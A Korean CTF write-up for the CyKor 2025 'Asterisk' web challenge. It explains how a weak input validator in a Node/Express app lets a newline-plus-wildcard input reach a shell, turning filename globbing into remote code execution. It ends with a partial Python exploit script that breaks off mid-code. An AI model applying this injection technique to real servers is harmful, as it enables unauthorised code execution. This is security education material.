xml:base="https://cityofwonder.github.io/2025/12/08/2CykorCTF2025-asterrisk/"><![CDATA[<details>
<summary>🔸[Cykor2025-web-1]Asterisk</summary>

<div class="toggle-content">
    <div class="box-note">

💡 Just print * ! The flag format is CyKor{ }.<br />
<br />
Please verify your exploit locally first before asking for an instance. 🙏 You can use the pow-solver.py file to obtain a container instance.<br />
<br />
http://54.180.15.185:8080/<br />

</div>
    <details>
<summary>문제 구조</summary>
<div class="toggle-content">

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:.
│  Dockerfile
│  pow-solver.py
│
└─server
    │  core.js
    │  index.js
    │  package-lock.json
    │  package.json
    │
    ├─bin
    │      mini-run.js
    │
    ├─public
    │      app.html
    │      index.html
    │      login.html
    │      signup.html
    │
    └─users
            users.json
</code></pre></div>        </div>

      </div>
</details>

  </div>
</details>

<div class="box-warning">
💡 <strong>전체 로드맵</strong><br />
<figure style="text-align: center;">
    <img src="/assets/images/2025-12-10/KakaoTalk_20251210_022210403.jpg" alt="CykorCTF2025-asterisk 풀이 전체 로드맵" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">CykorCTF2025-asterisk 풀이 전체 로드맵</figcaption>
</figure>
</div>

<hr />

<h2 id="1--primitive---static-analysis"><span class="highlight-blue">1. 👀 primitive - static analysis</span></h2>

<p>첫 시작은 index.js를 분석하는 것이다.</p>
<details>
<summary>why?</summary>
<div class="toggle-content">

    <ol>
      <li>
        <p><strong>.html 과 .json은 제끼는 이유</strong><br />
 -&gt; html은 사용자의 브라우저에서 실행되는 코드로, 아무리 조작해도 서버에 영향이 없음. XSS공격에선 유의미할 수 있으나, 해당 문제에선 서버 장악(RCE) 가 필요하기 때문에 ❌.<br />
 -&gt; json은 데이터/설정이므로, 실행능력이 없음. 공격의 결과물로 바뀔 수는 있어도 공격의 시작점이 될 순 없다! ❌.</p>
      </li>
      <li>
        <p><strong>.js 중에서도 index.js를 보는 이유 (entry point / 종속성 관점)</strong><br /></p>
        <ol>
          <li><span class="text-bold text-orange">entry point</span>
            <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w">      </span><span class="p">{</span><span class="w">
      </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"asterisk"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2.0.0"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"private"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
      </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"commonjs"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"main"</span><span class="p">:</span><span class="w"> </span><span class="s2">"index.js"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"start"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node index.js"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"dependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"express"</span><span class="p">:</span><span class="w"> </span><span class="s2">"^5.1.0"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"express-session"</span><span class="p">:</span><span class="w"> </span><span class="s2">"^1.18.2"</span><span class="w">
      </span><span class="p">}</span><span class="w">
      </span><span class="p">}</span><span class="w">
</span></code></pre></div>            </div>
            <p>“start”: “node index.js”에서 서버를 켜면 index.js가 가장 먼저 실행되는 것을 알 수 있다.</p>
          </li>
          <li><span class="text-bold text-orange">종속성</span> <br />
 한편, <span class="text-red text-bold">index.js는 쉘 명령어를 통해 mini-run.js를, mini-run.js는 core.js를 호출</span>하고 있다.
            <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251208_192716.png" alt="index.js" />
     <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">index.js</figcaption>
 </figure>
            <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251208_195840.png" alt="mini-run.js" />
     <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">mini-run.js</figcaption>
 </figure>
          </li>
        </ol>
      </li>
    </ol>

  </div>
</details>

<p>index.js 안에서의 <span class="text-bold text-orange">데이터 흐름의 분석 과정</span>은 다음과 같다.</p>
<ol>
  <li><span class="highlight-yellow"><strong>Backwards tracing: 시스템을 장악할 수 있는 함수 (sink) 위주로 검색하기</strong></span><br />
검색 키워드: <code>spawn</code>, <code>exec</code>, <code>eval</code>, <code>system</code>, <code>query</code>
    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251208_202151.png" alt="index.js - shell 실행 spawn 함수" />
     <figcaption style="font-size: 0.9em; color:
     gray; margin-top: 5px;">index.js - shell 실행 spawn 함수</figcaption>
 </figure>
    <p>이 가운데에서도 spawn 함수만 indexing 된다. 해당 함수는 sh를 실행하는데, 그 변수가 되는 shell은 <strong>input</strong>으로부터 오는 것을 알 수 있다.</p>
  </li>
  <li><span class="highlight-yellow"><strong>shell을 만들 때 쓰이는 input을 거꾸로 따라가기</strong></span><br />
    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251208_203330.png" alt="input은 runWithEchoPipeline의 arg1" />
     <figcaption style="font-size: 0.9em; color:
     gray; margin-top: 5px;">input은 runWithEchoPipeline의 arg1</figcaption>
 </figure>
    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251208_203620.png" alt="runWithEchoPipeline의 호출 지점" />
     <figcaption style="font-size: 0.9em; color:
     gray; margin-top: 5px;">runWithEchoPipeline의 호출 지점</figcaption>
 </figure>
    <p>shell을 만드는 input은 정의를 따라가보면 runWithEchoPipeline의 arg1이고, runWithEchoPipeline의 모든 참조를 따라가보면 위 사진과 같이 두 지점에서 호출하고 있는 것을 확인할 수 있다. 순서대로 다음과 같다.</p>
    <div class="box-note">

      <p><strong>💡Enpoint?</strong></p>

      <ul>
        <li>app.get(‘/주소’, …): GET 요청을 받는 입구</li>
        <li>app.post(‘/주소’, …): POST 요청을 받는 입구<br /></li>
      </ul>

      <p>소스 코드에서 app.post(‘/submit’이라는 글자를 보자마자 브라우저나 파이썬으로 http://서버주소/submit에 POST 요청을 보내면 이 함수가 실행될 것을 알 수 있음.</p>
    </div>

    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// submit handler</span>
 <span class="nx">app</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/submit</span><span class="dl">'</span><span class="p">,</span> <span class="p">...</span> <span class="k">async </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
     <span class="c1">// [Source] 사용자가 보낸 데이터에서 'input'을 꺼냄</span>
     <span class="kd">const</span> <span class="p">{</span> <span class="nx">code</span><span class="p">,</span> <span class="nx">input</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span> <span class="o">||</span> <span class="p">{};</span> 
        
     <span class="c1">// [Sink] 사용자가 보낸 'input'을 그대로 함수에 넣음 -&gt; 공격 가능!</span>
     <span class="kd">const</span> <span class="nx">r</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">runWithEchoPipeline</span><span class="p">({</span> <span class="nx">code</span><span class="p">,</span> <span class="nx">input</span> <span class="p">});</span> 
     <span class="c1">// ...</span>
     <span class="p">});</span>
</code></pre></div>    </div>
    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">app</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/judge-all</span><span class="dl">'</span><span class="p">,</span> <span class="p">...</span> <span class="k">async </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
     <span class="kd">const</span> <span class="p">{</span> <span class="nx">code</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span> <span class="o">||</span> <span class="p">{};</span> <span class="c1">// 여기서는 'code'만 꺼내고 'input'은 안 꺼냄</span>
     <span class="c1">// [Sanitization] 서버가 스스로 'input' 값을 1부터 99까지 강제로 만듦</span>
     <span class="kd">const</span> <span class="nx">inputs</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="k">from</span><span class="p">({</span> <span class="na">length</span><span class="p">:</span> <span class="mi">99</span> <span class="p">},</span> <span class="p">(</span><span class="nx">_</span><span class="p">,</span> <span class="nx">i</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nc">String</span><span class="p">(</span><span class="nx">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>
     <span class="k">for </span><span class="p">(</span><span class="kd">const</span> <span class="nx">t</span> <span class="k">of</span> <span class="nx">inputs</span><span class="p">)</span> <span class="p">{</span>
         <span class="c1">// [Safe] 사용자가 뭘 보내든 상관없이, 여기 들어가는 t는 무조건 "1", "2"... </span>
         <span class="kd">const</span> <span class="nx">r</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">runWithEchoPipeline</span><span class="p">({</span> <span class="nx">code</span><span class="p">,</span> <span class="na">input</span><span class="p">:</span> <span class="nx">t</span> <span class="p">});</span>
         <span class="c1">// ...</span>
     <span class="p">}</span>
 <span class="p">});</span>
</code></pre></div>    </div>
    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251209_150730.png" alt="submit handler vs judge-all handler" />
     <figcaption style="font-size: 0.9em; color:
     gray; margin-top: 5px;">submit handler vs judge-all handler</figcaption>
 </figure>
    <p>따라서 위와 같은 경우 submit handler가 취약할 수 있음을 이해할 수 있다.</p>
  </li>
  <li>
    <p><span class="highlight-yellow"><strong>submit handler에서 통과하는 shell이 하는 동작 관찰하기</strong></span><br />
 <code>const shell = `echo ${input} | node ../bin/mini-run.js --b64code '${b64code}'`;</code>에 ‘\n*‘를 넘기게 되면,</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="nb">echo</span>
     <span class="k">*</span> | node ...
</code></pre></div>    </div>

    <p>가 동작하게 된다. 쉘에서 줄바꿈은 “앞의 명령어를 끝내고, 다음 명령어를 시작해라”라는 뜻으로 세미콜론과 같은 역할을 하므로, 와일드카드(*)가 동작하는 두번째 명령어가 중요하다.
 <img src="/assets/images/2025-12-09/스크린샷 2025-12-08 211608.png" alt="리눅스 쉘에서 와일드 카드의 동작" />
 예를 들어 echo * 결과가 아래와 같다면 순서대로 <code>{실행할 프로그램(명령어)} {args0 args1 ...}</code> 로 인식하게 된다.</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="o">&gt;</span> <span class="nb">echo</span> <span class="k">*</span>
     <span class="o">&gt;&gt;</span> python3 hello.py hi
     <span class="o">&gt;</span> <span class="k">*</span> //python3 hello.py hi
     <span class="o">&gt;&gt;</span> hi
</code></pre></div>    </div>

    <p>같은 원리로 <code>bash cscript</code>와 같은 명령어도 실행할 수 있다. 다시금 쉘 프로그램을 실행하여 미리 만들어둔 바이너리를 실행할 수 있는 것이다(cat ./flag.txt)<br />
 <span class="text-red text-bold text-italic">⇨ 입력 검증값 우회, shell injection ⇨ RCE🚨</span></p>
  </li>
  <li>
    <p><span class="highlight-yellow"><strong>shell을 만들 때 쓰이는 input을 거꾸로 따라가기; runWithEchoPipeline 함수의</strong> </span><span class="highlight-yellow text-blue"><strong>validateTestInput</strong></span><br /></p>

    <p>이렇게 runWithEchoPipeline에서 초기화된 <span class="text-red text-bold text-italic">input 변수</span>가 shell injection에 <strong>중요한 역할</strong>을 한다는 것을 알게되었으므로, <span class="text-red text-bold text-italic">input 값에 대한 filtering 조건</span> 이 있는지 확인해봐야한다.</p>

    <div class="box-danger">
      <p><span class="highlight-red"><strong>💡 NOTE</strong></span><br />
 <strong>submit 발생 &gt; runWithEchoPipeline &gt; <span class="text-bold text-red">!!</span> &gt; shell 실행</strong> <br />
 으로 이어지는데,</p>
      <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251209_015125.png" alt="runWithEchoPipeline의 흐름" />
     <figcaption style="font-size: 0.9em; color:
     gray; margin-top: 5px;">runWithEchoPipeline의 흐름</figcaption>
 </figure>
      <p>이 때 <strong>validateTestInput이</strong> <span class="text-orange"><strong>filter 역할</strong></span>을 한다.</p>
      <figure style="text-align: center;">
     <img src="/assets/images/2025-12-09/20251209_015751.png" alt="validateTestInput의 정의" />
     <figcaption style="font-size: 0.9em; color:
     gray; margin-top: 5px;">validateTestInput의 정의</figcaption>
 </figure>
    </div>

    <p>validateTestInput의 정의 부분은 다음과 같이 구현되어있다.(index.js)</p>

    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">function</span> <span class="nf">validateTestInput</span><span class="p">(</span><span class="nx">inp</span><span class="p">)</span> <span class="p">{</span>
     <span class="c1">// 1. 타입 검사: 입력값이 문자열이 아니면 차단</span>
     <span class="k">if </span><span class="p">(</span><span class="k">typeof</span> <span class="nx">inp</span> <span class="o">!==</span> <span class="dl">'</span><span class="s1">string</span><span class="dl">'</span><span class="p">)</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>

     <span class="c1">// 2. 길이 검사: 글자 수는 1글자 또는 2글자여야 함</span>
     <span class="c1">// 이 제약 때문에 긴 공격 코드는 넣을 수 없지만, '\n*' 같은 2글자 공격은 가능</span>
     <span class="k">if </span><span class="p">(</span><span class="nx">inp</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="nx">inp</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">2</span><span class="p">)</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>

     <span class="c1">// 3. 비교 기준값 1 설정 (숫자)</span>
     <span class="c1">// [!] check 변수에 문자열 "0"이 아니라, 숫자(Number) 0을 할당</span>
     <span class="kd">const</span> <span class="nx">check</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

     <span class="c1">// 4. 비교 기준값 2 설정 (문자열)</span>
     <span class="c1">// 복잡해 보이지만, 결과적으로 upper는 문자열 "9"가 됨</span>
     <span class="c1">// check(0) -&gt; "0" -&gt; ASCII(48) -&gt; +9(57) -&gt; ASCII 57은 "9"</span>
     <span class="kd">const</span> <span class="nx">upper</span> <span class="o">=</span> <span class="nb">String</span><span class="p">.</span><span class="nf">fromCharCode</span><span class="p">(</span><span class="nx">check</span><span class="p">.</span><span class="nf">toString</span><span class="p">().</span><span class="nf">charCodeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="mi">9</span><span class="p">);</span>

     <span class="c1">// 5. 반복문: 입력된 문자열을 한 글자씩 검사</span>
     <span class="k">for </span><span class="p">(</span><span class="kd">const</span> <span class="nx">ch</span> <span class="k">of</span> <span class="nx">inp</span><span class="p">)</span> <span class="p">{</span>
         <span class="c1">// 6. 핵심 취약점 발생 지점</span>
         <span class="c1">// 논리: (ch &gt;= 0) 또는 (ch &lt;= "9") 중 하나라도 참이면 통과</span>
         <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nx">ch</span> <span class="o">&gt;=</span> <span class="nx">check</span> <span class="o">||</span> <span class="nx">ch</span> <span class="o">&lt;=</span> <span class="nx">upper</span><span class="p">))</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
     <span class="p">}</span>
     <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
 <span class="p">}</span>
</code></pre></div>    </div>
    <p>구조는 아래 설명과 같다.</p>

    <p>자바스크립트에서 문자열과 숫자를 비교할 때, 자바스크립트 엔진은 문자열을 <strong>숫자로 강제 변환(Type Coercion)</strong>하여 비교한다. <span class="text-red">일반적인 문자 ‘a’, ‘z’ 등은 Number(‘a’)가 NaN이 되어 NaN &gt;= 0은 false가 되지만, <span class="highlight-yellow"><strong>공백 문자( )</strong>나 <strong>개행 문자(\n, \t)</strong>는 숫자로 변환하면 <strong>0</strong></span>이 되므로, 줄바꿈 등 <span class="highlight-yellow text-italic">Shell injection에 치명적인 문자들을 허용</span></span>해주게 된다.</p>

    <p>한편 두 condition 중 어느것 하나만 만족하면 되기 때문에, 후자도 관찰해보면 바로 ASCII 코드 상에서 “9”보다 작으면(ASCII 코드값 0x57) 통과된 다는 것이다. 이 두개의 느슨한 명제 때문에 아래가 가능하다<br />
 <span class="text-orange"><strong>아스키 57보다 작은 문자들</strong></span>: ! (33), “ (34), # (35), $, %, &amp;, ‘, (, ), * (42), +, ,, -, ., /.<br /></p>

    <figure style="text-align: center;">
 <img src="/assets/images/2025-12-10/KakaoTalk_20251210_003426829.jpg" alt="validateTestInput의 작동 개요" />
 <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">validateTestInput의 작동 개요</figcaption>  
 </figure>
  </li>
  <li>
    <p><strong>Globbing attack을 통한 shell injection을 가능하게 하기 위한 <span class="text-red text-bold">파일 생성 gadget</span> 찾기</strong><br /></p>

    <p>우리는 이제껏 index.js의 submit 핸들러를 트리거 – 즉, login.html에서 로그인 성공 후 접근 가능한 app.html의 code 컴포넌트에 validateTestInput 조건에 맞는 값을 입력<span class="text-gray text-italic">(아래 3. Dynamic Analysis with Docker에 기술)</span> – 함으로써 시스템 장악 == <span class="highlight-yellow"><strong>Globbing attack을 통한 shell injection이 가능</strong></span>함을 관찰했다.</p>

    <p>그러나 이 때 중요한 지점은, validateTestInput의 검증에 의해(1-4 기술 참고) 파일 생성 Gadget이 필수란 것이다.</p>
    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-10/20251210_013746.png" alt="index.js에서 WriteFile 함수 호출 부분 찾기" />
     <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">index.js에서 WriteFile 함수 호출 부분 찾기</figcaption>
 </figure>

    <ul>
      <li><span class="highlight-yellow text-orange text-bold">Globbing attack의 요구사항</span>: 파일 생성 가능 / 파일 이름, 내용 커스텀 가능
        <ul>
          <li><span class="text-red text-bold highlight-green">writeUsers</span>: 파일 이름이 <span class="text-orange text-bold">고정됨</span> (USERS_DB), 파일 내용은 json 형식으로 <span class="text-orange text-bold">실행할 수 없음</span>. ❌</li>
          <li><span class="text-red text-bold highlight-green">saveUserCodeToBin</span>: 파일 이름은 <span class="text-green text-bold">username</span>, 파일 내용은 <span class="text-green text-bold">code</span>로 모두 커스텀 가능 💯</li>
        </ul>
      </li>
    </ul>

    <p>따라서 Globbing이 가능한 saveUserCodeToBin을 참조하고 있는 지점을 아래 두 사진과 같이 따라가 보자.</p>

    <div style="display: flex; gap: 10px; align-items: center;">
     <figure style="text-align: center;">
         <img src="/assets/images/2025-12-10/20251210_014059.png" alt="saveUserCodeToBin의 참조 지점(1)" style="max-height: 50vh; width: auto;" />
         <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">saveUserCodeToBin의 참조 지점(1)</figcaption>
     </figure> 
     <figure style="text-align: center;">
         <img src="/assets/images/2025-12-10/20251210_014328.png" alt="참조 지점(2), (3)" style="max-height: 50vh; width: auto;" />
         <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">참조 지점(2), (3)</figcaption>
     </figure>
 </div>
    <p>/judge-all은 앞선 정적분석에서 사용하지 않을 것으로 이미 판단했기 때문에, /submit과 /save에서 파일 저장을 트리거할 수 있단 것을 염두에 두어야한다.</p>
  </li>
  <li>
    <p><strong>submit handler와 save handler의 위치 파악</strong></p>

    <figure style="text-align: center;">
         <img src="/assets/images/2025-12-09/20251208_215916.png" alt="server/public/*.html에서 submit handler 참조 확인하기" />
         <figcaption style="font-size: 0.9em; color:
         gray; margin-top: 5px;">server/public/*.html에서 submit handler 참조 확인하기</figcaption>
 </figure>

    <figure style="text-align: center;">
         <img src="/assets/images/2025-12-09/20251208_220322.png" alt="app.html에서 submit handler 호출 확인하기" />
         <figcaption style="font-size: 0.9em; color:
         gray; margin-top: 5px;">app.html에서 submit handler 호출 확인하기</figcaption>
 </figure>

    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-10/20251210_020151.png" alt="server/public/*html에서 save handler 참조 확인하기" />
     <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">server/public/*html에서 save handler 참조 확인하기</figcaption>
 </figure>

    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-10/20251210_020234.png" alt="app.html에서 save hanlder 호출 확인하기" />
     <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">app.html에서 save hanlder 호출 확인하기</figcaption>
 </figure>
  </li>
</ol>

<p>정확히 어떤 POST 요청에 대해 어떤 값이 날라가는지는 docker setting 후 개발자 도구에서 관찰할 수 있다.</p>

<hr />

<h2 id="2-setting-docker-for-debugging"><span class="highlight-blue">2. Setting docker for Debugging</span></h2>

<p><span class="text-italic text-gray"><del>나는 디버깅 안되면 절대 익스를 못 작성하는데, 딱히 그러지 않고도 잘 솔브 하는 사람을 보면 신기하다..</del></span></p>

<p>주어진 도커파일을 참고하면, EXPOSE 3000 포트를 사용하므로 Dockerfile이 있는 디렉터리에서 아래를 실행하면 된다.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    docker build <span class="nt">-t</span> asterisk <span class="nb">.</span>
    docker run <span class="nt">-d</span> <span class="nt">-p</span> 3000:3000 <span class="nt">--name</span> asterisk_chall asterisk
    docker <span class="nb">exec</span> <span class="nt">-it</span> asterisk_chall /bin/bash
</code></pre></div></div>

<figure style="text-align: center;">
        <img src="/assets/images/2025-12-09/20251208_221952.png" alt="docker setting 완료 후" />
        <figcaption style="font-size: 0.9em; color:
        gray; margin-top: 5px;">docker setting 완료 후</figcaption>
</figure>

<p>run까지만 해도 http://localhost:3000 접속은 가능하다. 익스 과정에서 서버 내부 상황을 보고싶다면 exec까지 실행해주면 된다.</p>

<hr />

<h2 id="3-dynamic-analysis-with-docker"><span class="highlight-blue">3. Dynamic Analysis with Docker</span></h2>

<p>메인 페이지에서 보이는 몇개 버튼을 눌러보면 http://localhost:3000/nnn.html 와 같은 방식으로 접속되는 것을 확인할 수 있다.</p>

<details>
<div class="toggle-content">

    <ul>
      <li>별도의 경로를 주지 않아도 index.html이 보이는 이유는?
        <ul>
          <li>웹서버의 convention으로, 웹 서버(Node.js/Express, Apache, Nginx 등)는 주소 뒤에 특정 파일명을 적지 않고 <strong>루트(Root, /)</strong>만 요청하면, 자동으로 <strong>“기본 파일”</strong>을 찾아서 보여주도록 설계되어있으며, 그 기본파일의 이름이 <strong>index.html</strong>이 되는 것</li>
        </ul>
      </li>
    </ul>

    <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nx">app</span><span class="p">.</span><span class="nf">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="nf">static</span><span class="p">(</span><span class="nx">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span> <span class="dl">'</span><span class="s1">public</span><span class="dl">'</span><span class="p">)));</span>
</code></pre></div>    </div>
    <ul>
      <li>대부분의 서버는 위와 같이 사용자가 디렉터리만 요청하고 파일명을 안 적었을 경우, 그 폴더 안의 index.html이 있는지를 찾아보고 -&gt; 있으면 사용자에게 그걸 보여주도록 하는 코드를 포함하고 있음.(index.js의 23번 line)</li>
    </ul>

  </div>
</details>

<p>관찰을 토대로, submit endpoint에 접근하기 위해 ‘1. static analysis’의 마지막 부분에서 확인한 app.html을 경로로 넘겨줘보면, 바로 <strong>…/login.html로 리다이렉트</strong> 된다. 이로부터 다음 세가지를 알 수 있다.</p>

<ol>
  <li>일단 app.html이 서버에 있긴 함(없으면 404 반환)</li>
  <li>app.html은 로그인을 거쳐야 접근할 수 있는 페이지임</li>
  <li>submit endpoint에 접근하기 위해 index.html &gt; login.html &gt;..&gt; app.html을 거쳐야함</li>
</ol>

<figure style="text-align: center;">
        <img src="/assets/images/2025-12-09/20251209_011011.png" alt="'app.html' 호출 문자열 index" />
        <figcaption style="font-size: 0.9em; color:
        gray; margin-top: 5px;">'app.html' 호출 문자열 index</figcaption>
</figure>

<figure style="text-align: center;">
        <img src="/assets/images/2025-12-09/20251209_011258.png" alt="login.html에서 'app.html'을 호출하는 지점" />
        <figcaption style="font-size: 0.9em; color:
        gray; margin-top: 5px;">login.html에서 'app.html'을 호출하는 지점</figcaption>
</figure>

<p>위 두 사진을 참고하면, login.html에서 로그인 성공시 app.html로 이동하게 된다.
그렇담 확인한 취약점은 app.html에 있기 때문에 아무 계정으로 로그인하고 app.html 페이지로 넘어간다.(계정정보는 server의 /app/server/users에 기록)</p>

<figure style="text-align: center;">
    <img src="/assets/images/2025-12-09/20251208_220322.png" alt="app.html에서 submit handler 호출 확인하기" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">app.html에서 submit handler 호출 확인하기</figcaption>
</figure>

<p>submit handler는 $(‘#submit’)이 눌릴 때 트리거된다.
따라서 아래와 같이 식별할 수 있다.</p>
<figure style="text-align: center;">
    <img src="/assets/images/2025-12-09/20251209_013053.png" alt="브라우저 console 탭에서 버튼 식별하기" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">브라우저 console 탭에서 버튼 식별하기</figcaption>
</figure>

<p>그렇담 이제 해당 버튼을 눌렀을 때 어떤 액션이 일어나는지 디버깅 해볼 차례다.</p>
<figure style="text-align: center;">
    <img src="/assets/images/2025-12-09/20251209_013246.png" alt="브라우저 sources 탭에서 관찰 코드 식별하여 bp 걸고 실행하기" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">브라우저 sources 탭에서 관찰 코드 식별하여 bp 걸고 실행하기</figcaption>
</figure>

<p>적당한 값과 함께 $(‘#submit’)버튼을 누르면 bp에 걸리고, 원하는 변수에 마우스온 함으로써 페이지 기준 아래쪽 칸의 값(5678) input 변수로 들어간다는 것을 알 수 있으며, 이는 마저 실행하면서 실제 이벤트가 발생됨에 따라 Network 탭에서도 아래 두번째 사진처럼 확인 가능하다.</p>
<figure style="text-align: center;">
    <img src="/assets/images/2025-12-09/20251209_013508.png" alt="bp 걸린 후 값 확인하기" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">bp 걸린 후 값 확인하기</figcaption>
</figure>

<figure style="text-align: center;">
    <img src="/assets/images/2025-12-09/20251209_013731.png" alt="브라우저 Network 탭에서 값 관찰" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">브라우저 Network 탭에서 값 관찰</figcaption>
</figure>

<div class="box-success">
  <p>✅ <strong><span class="highlight-green">SUMMARY</span></strong><br /></p>

  <ul>
    <li><span class="text-red">index.js &gt; mini_run.js &gt; core.js</span>로 실행됨</li>
    <li><strong>정적분석</strong>: Req.body를 받아 <span class="text-red">sh의 인자로 넘김</span>. <span class="text-orange"><strong>/submit 엔드포인트</strong></span>가 중요.
      <ul>
        <li>이 때 sh의 인자로 넘기기 전에 길이 및 ASCII 범위 제한을 검토하는 validation이 존재하는데, 여기서 <span class="text-orange">충분히 걸러내지 못하면서(js의 강제 형변환) <span class="highlight-yellow"><strong>🚨shell injection🚨</strong></span></span>이 가능해짐</li>
      </ul>
    </li>
    <li><strong>동적분석</strong>: docker 실행하고 브라우저 접속하면 input이 login 성공 후 접속 가능한 app.html의 좌측 상단에서 두번째 칸, 엔드포인트는 Run 버튼 클릭 시 호출됨을 알 수 있음.</li>
  </ul>
</div>

<hr />

<h2 id="4-exploit-작성"><span class="highlight-blue">4. exploit 작성</span></h2>

<details>
<summary><span class="text-bold highlight-purple">🎮Exploit Code🎮</span></summary>
<div class="toggle-content">

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kn">import</span> <span class="n">requests</span>
    <span class="kn">import</span> <span class="n">json</span>
    <span class="kn">import</span> <span class="n">sys</span>

    <span class="c1"># [중요] 문제 서버 URL (맨 뒤 슬래시 '/' 제거 필수)
</span>    <span class="c1"># 예: http://54.180.15.185:8080/play/Qm...
</span>    <span class="n">TARGET_URL</span> <span class="o">=</span> <span class="sh">"</span><span class="s">http://54.180.15.185:8080/play/Qm44xPxHsE1bZUtoO7ZDq0zDCexLiwGT</span><span class="sh">"</span>

    <span class="k">def</span> <span class="nf">register_and_save</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">code</span><span class="p">):</span>
        <span class="c1"># 1. Signup
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Registering user: </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET_URL</span><span class="si">}</span><span class="s">/signup</span><span class="sh">"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="p">{</span><span class="sh">"</span><span class="s">username</span><span class="sh">"</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span> <span class="sh">"</span><span class="s">password</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">password123</span><span class="sh">"</span><span class="p">})</span>
        
        <span class="k">if</span> <span class="sh">"</span><span class="s">Username already exists</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">:</span>
